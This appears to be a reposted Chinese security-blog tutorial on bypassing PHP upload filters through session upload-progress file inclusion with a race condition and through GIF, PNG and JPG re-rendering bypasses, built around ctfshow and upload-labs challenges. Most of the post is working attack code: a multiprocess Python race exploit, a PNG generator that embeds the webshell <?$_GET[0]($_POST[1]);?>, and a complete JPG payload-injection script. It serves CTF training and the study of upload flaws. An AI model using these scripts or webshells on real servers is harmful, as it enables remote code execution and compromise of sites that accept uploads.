文件上传{session文件包含以及条件竞争、图片文件渲染绕过(gif、png、jpg)}

news2024/11/26 18:20:53

session文件包含以及条件竞争

条件:

  1. 知道session文件存储在哪里
    一般的默认位置:
    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID

    ####在没做过设置的情况下一般都是存储在/var/lib/php/session/sess_PHPSESSID,sess_有点类似于mysql里的数据表前缀,都是默认的,而PHPSESSID则是你上传的时候给命名的,例如:cookie: PHPSWSSID=123
  2. php.ini的设置
    session.upload_progress.cleanup:
    当上传完成以后,php会自动删除session里的内容,默认开启
    ####就是因为这个设置所以需要做条件竞争,在它执行前访问shell


    session.upload_progress.enabled:
    php能在文件上传时监控进度但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态,默认开启

    session.auto_start:
    如果开启这个选项,php在接收请求的时候就会自动初始化session,就不用去执行session_start()。默认关闭

    session.use_strict_mode:
    默认情况
    下,它的值为0,所以可以自定义PHPSESSID的值

利用:

  1. 原理:

     session upload progress刚开始是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化session,php也会自动初始化session。又因为session.upload_progress.enabled:是默认开启的,所以这个特性也是打开的,所以可以通过这个特性来使目标的机子自动开启session

  2. 所以这里利用到了session.upload_progress.name:
    session.upload_progress.name是打开的,他会将post传输的和session.upload_progress同名的post参数个拉取到session里变成类似于变量的东西
    例如:PHP_SESSION_UPLOAD_PROGRESS是构造的恶意函数
    post >  PHP_SESSION_UPLOAD_PROGRESS=123
    存储到session里就会变成$_SESSION["upload_progress_123"]

poc:这里以ctfshow的web入门web162题做讲解

首先传入.user.ini文件

GIF89a

auto_prepend_file=sess_ppp

条件竞争:在还未来得及删除的时候,访问它,提前执行命令

#可以这么理解,你要丢垃圾,已经丢出去了,但是在丢到垃圾桶里的这一小段时间,你又给接住了。条件竞争就是这么个原理,利用在电脑接到指令并且正要执行之前的那一小段延迟做动作

import requests
import multiprocessing as mul
import os
os.environ['http_proxy'] = "127.0.0.1:8080"
os.environ['https_proxy'] = "127.0.0.1:8080"

session = requests.session()
url = 'http://9182f212-3c46-4f1f-abc0-5d5c2847f96b.challenge.ctf.show/'
url1 = 'http://9182f212-3c46-4f1f-abc0-5d5c2847f96b.challenge.ctf.show/upload'
# 访问此目录会自动访问此目录的index.php,因为上传了.user.ini文件,所以会自动加载上传的shell
data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php `cat ../flag.php`?>'
}
file = {
    'file': '123'
}
cookies = {
    'PHPSESSID': 'ppp'
}


def write():
    while True:
        r = session.post(url, data, files=file, cookies=cookies)


def read():
    while True:
        r = session.get(url1)
        if 'ctfshow' in r.text:
            print(r.text)


def main():
    threads = [mul.Process(target=write), mul.Process(target=read)]
    for i in threads:
        i.start()


if __name__ == '__main__':
    main()

图片文件渲染绕过

这里需要用到工具

010EditorPortable.exe

二次渲染原理:

在我们上传的图片的基础上修改格式内容尺寸之类的,并且会对部分内容进行更新替换,最后将处理过后的图片生成一个新的保存在指定的位置

两种方式绕过这种过滤:

  1. 通过条件竞争来绕过:
    当上传以后它的处理顺序是,先保存到服务器>在处理图片>在删除图片
    就可以通过条件竞争绕过,在他删除之前提前访问执行
  2. 将木马插入在图片渲染后依旧不会更改的地方,再配合文件包含漏洞执行命令

判断是否存在渲染的情况

对比图片上传前后的大小,如果存在差异则是存在渲染的情况

这个拿upload-labs的第16关来讲解

 这里还是先看看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

gif

原理:

将gif图片上传,然后再下载下来对比前后差异,看那一部分被修改过,然后再未被修改的地方添加木马

随机上传一个jif文件

将他下载下来使用010EditorPortable将他和没上传的进行对比

点击红色的差异就会把修改过的范围高光显示出来

再利用文件包含即可绕过

png

png图片就复杂一点,大致原理就是,再png图片特定位置添加webshell,会导致src值改变,网站会验证src值所以这里需要利用到国外大佬写的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png'); # 图片位置
?>

这里在里面添加的webshell是

<?$_GET[0]($_POST[1]);?>

jpg

jpg图片也是差不多的原理

####jpg图片选图比较重要,容易损坏

<?php
    $miniPayload = "<?=phpinfo();?>"; # webshell


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1492916.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Harris角点的室内三维全景图拼接算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1Harris角点检测原理 4.2 Harris响应函数 4.3 角点检测与筛选 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 dirs datasheet/;% 定义…

(十三)上市企业实施IPD成功案例分享之——杜邦

在化工行业&#xff0c;说起杜邦公司&#xff0c;可谓是“顶流”企业。作为一家有着200多年历史&#xff0c;历经了三个世纪的化工巨头&#xff0c;杜邦企业的发展史&#xff0c;就是化学工业&#xff0c;乃至整个科技水平的进步史。从1802年杜邦创立时主营的火药&#xff0c;到…

Redis 缓存机制如何提高应用程序的性能?

在数字时代&#xff0c;一拍脑门儿我们就能感觉到信息的海量和处理速度的迫切。不管是刷个微博、下个单&#xff0c;还是玩个游戏&#xff0c;我们都希望能快上加快&#xff0c;一点不拖泥带水。这时候&#xff0c;缓存技术就扮演了个大英雄的角色&#xff0c;它能让数据存取的…

Windows安装Go语言及VScode配置

最近搞自己的网站时突然想起来很多上学时的事&#xff0c;那会美国总统还是奥巴马&#xff0c;网页课教的是DreamWeaver跟Photoshop&#xff0c;其他语言像PHP、Java8、Python都有学一点&#xff0c;讲究一个所见即所得。虽然是信管专业那时和斌桑班长对新语言很感兴趣&#xf…

LC打怪录 希尔排序Shell sort 912.排序数组

Theory 希尔排序本质上是对插入排序的一种优化&#xff0c;它利用了插入排序的简单&#xff0c;又克服了插入排序每次只交换相邻两个元素的缺点。它的基本思想是&#xff1a; 将待排序数组按照一定的间隔分为多个子数组&#xff0c;每组分别进行插入排序。这里按照间隔分组指…

第二证券|中证1000认沽期权是什么?怎么买?

中证1000指数期权是以中证1000指数为标的资产的衍生品&#xff0c;其间中证1000认沽期权是指期权买方有权在约好的时刻以约好的价格将必定数量的标的资产卖给期权卖方的中证1000指数期权合约。 个人投资者想要生意认沽期权&#xff0c;需求去证券公司开通期权账户&#xff0c;…

阿里云2核4G服务器支持多少人同时在线?

2核4G服务器支持多少人在线&#xff1f;阿里云服务器网账号下的2核4G服务器支持20人同时在线访问&#xff0c;然而应用不同、类型不同、程序效率不同实际并发数也不同&#xff0c;2核4G服务器的在线访问人数取决于多个变量因素&#xff1a; 2核4G&#xff1a;2核CPU和4G内存对…

1.2_1 分层结构、协议、接口和服务

1.2_1 分层结构、协议、接口和服务 &#xff08;一&#xff09;为什么要分层&#xff1f; 主机A如果想要向主机B发送文件&#xff0c;则一定要经过中间的一些介质、链路。 发送文件前要完成的工作&#xff1a; 1.发起通信的计算机必须将数据通信的通路进行激活。 所谓的激活&a…

【码银送书第十三期】《ChatGPT原理与架构》

OpenAI 在 2022 年 11 月推出了人工智能聊天应用—ChatGPT。它具有广泛的应用场景&#xff0c;在多项专业和学术基准测试中表现出的智力水平&#xff0c;不仅接近甚至有时超越了人类的平均水平。这使得 ChatGPT 在推出之初就受到广大用户的欢迎&#xff0c;被科技界誉为人工智能…

gofly接口入参验证使用介绍

接口传入的参数做相关性质验证是开发中较为常用&#xff0c;gofly框架内置校验工具&#xff0c;提供开发效率&#xff0c;开发接口简单调用即可实现验证&#xff0c;下面介绍gofly框架数据验证设计思路及使用方法。 gofly框架提供了功能强大、使用便捷、灵活易扩展的数据/表单…

【unity】shader优化总结-转载

分为三个部分&#xff1a;Unity官方文档&#xff0c;GDC&#xff0c;个人经验。 Unity Manual 1.计算量优化。着色器进行的计算和处理越多&#xff0c;对性能的影响越大。针对不影响最终效果但依然进行计算的无效代码&#xff0c;进行移除操作。计算的频率也会影响游戏的性能…

增肌_锻炼

目录 练第一步 有氧运动关节活动度 第二步 脊柱侧弯吃 练 https://www.bilibili.com/video/BV14v4y1G7A3 第一步 有氧运动 有氧运动锻炼心肺 最大心率保持在50% - 60% 关节活动度 髋关节活动 亚足背屈   绕肩&#xff0c;肩环绕肩   第二步 高频的中等强度&#xf…

【QT】菜单栏/工具栏/状态栏的应用

QMainWindow 菜单栏&#xff08;menuBar&#xff09;—只有一个 打开对话框 connect(ui->actionOpen,&QAction::triggered,this,[](){ //打开文件通常有一个返回值 //过滤条件&#xff0c;对打开的文件进行过滤QString…

【三维重建】相移法+格雷码

本篇文章介绍一种稠密点云的获取方式——条纹结构光三维重建算法。 在学习此算法前&#xff0c;我们需要对基于视觉的三维重建算法有一定了解。 需要了解什么是相机模型、相机标定以及三角化的相关知识。 【三维重建】摄像机几何-CSDN博客 【三维重建】摄像机标定&#xff…

AlibabaCloud微服务:Linux 部署 Sentinel 流量控制

目录 一、实验 1.环境 2.Linux 部署 Sentinel 3. 微服务接入Sentinel配置 二、 问题 1.Linux本地启动Sentinel控制台 2.JDBC连接失败 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 系统软件版本IP备注Linuxopenjdk 1.8.0192.168.204.200 maven3.5.0nac…

【QT】QDialog/ QMessageBox/提示对话框/颜色(文字)------对话框

QDialog—对话框 什么是对话框&#xff0c;如下样式 非模态对话框&#xff0c;即打开以后&#xff0c;我还可以对其他框进行操作。 模态对话框&#xff0c;打开以后&#xff0c;其他框都不能再操作了 模态对话框是阻塞对话框 QDialog dig(this);//显示模态对话框dig.exec();…

数据库-Mysql-读写分离(Atalas,Mysql-Router,Mysql-Proxy)

Atalas 这个是很老的了&#xff0c;了解即可。 wget https://github.com/Qihoo360/Atlas/releases/download/2.2.1/Atlas-2.2.1.el6.x86_64.rpm rpm -ivh Atlas-2.2.1.el6.x86_64.rpm #安装后的目录 cd /usr/local/mysql-proxy配置 /usr/local/mysql-proxy/bin/encrypt roo…

【Bugs】java: 错误: 不支持发行版本 xx

文章目录 报错场景&#xff1a;报错原因&#xff1a;解决方法&#xff1a; 报错场景&#xff1a; IDEA运行Java项目报错&#xff0c;点击运行之后&#xff0c;IDEA在编译代码的时候就出现报错&#xff1a; 报错类型一&#xff1a;java: 错误: 不支持发行版本 21报错类型二&am…

H12-821_131

131.如图所示&#xff0c;R1、R2、R3和R4运行OSPF&#xff0c;缺省情况下该网络中选举________个DR。&#xff08;请填写阿拉伯数字&#xff09; 答案&#xff1a;3 注释&#xff1a; DR是链路上的概念&#xff0c;使用路由器接口的IP地址表示。链路的网络类型是广播网络类型或…

钉钉h5应用 globalthis is not defined vite client

钉钉h5应用 globalthis is not defined vite client problem 背景 钉钉h5应用使用 vue3 vite 构建的前端工程 问题 h5页面在pc端浏览器和pc端钉钉打开正常h5页面在移动端钉钉打开异常 页面空白 通过调试工具找到报错信息 globalthis is not defined vite client reason …